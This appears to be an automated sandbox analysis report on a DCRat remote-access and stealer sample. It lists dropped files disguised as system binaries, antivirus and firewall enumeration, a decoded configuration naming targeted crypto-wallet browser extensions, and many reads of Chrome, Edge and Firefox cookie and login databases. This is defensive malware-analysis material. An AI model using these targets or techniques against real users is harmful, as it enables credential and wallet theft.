Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Default\dllhost.exe	Queries volume information: C:\Users\Default\dllhost.exe VolumeInformation
Source: C:\Program Files\Windows Portable Devices\services.exe	Queries volume information: C:\Program Files\Windows Portable Devices\services.exe VolumeInformation
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Queries volume information: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe VolumeInformation
Source: C:\Users\Default\dllhost.exe	Queries volume information: C:\Users\Default\dllhost.exe VolumeInformation

Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe

Code function: 0_2_00401990 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00401990

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 1.0.decFF62.tmp.f90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.3129151130.000000000330B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1658474906.0000000000F92000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1658146051.0000000000D33000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t8xf0Y1ovi.exe PID: 6848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: decFF62.tmp PID: 6888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RuntimeBroker.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\decFF62.tmp, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Portable Devices\services.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\dllhost.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: decFF62.tmp, 00000001.00000002.1726751178.0000000003421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"},"75400db8-4680-4af7-97bd-c8a76b65b9c4":{"_0":"BAnkwnbkhCaYEoBMKTiQwHgdSRXjlyyb","_1":"Thanks for downloading!","_2":"You can close this window","_3":"Information","_4":"OK"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"}}
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: decFF62.tmp, 00000001.00000002.1726751178.0000000003421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Full","_1":"False","_2":"False","_3":"False"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"},"75400db8-4680-4af7-97bd-c8a76b65b9c4":{"_0":"BAnkwnbkhCaYEoBMKTiQwHgdSRXjlyyb","_1":"Thanks for downloading!","_2":"You can close this window","_3":"Information","_4":"OK"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"1500","_2":"15","_3":"True"}}
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: powershell.exe, 00000014.00000002.2931907406.000001D06BAF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
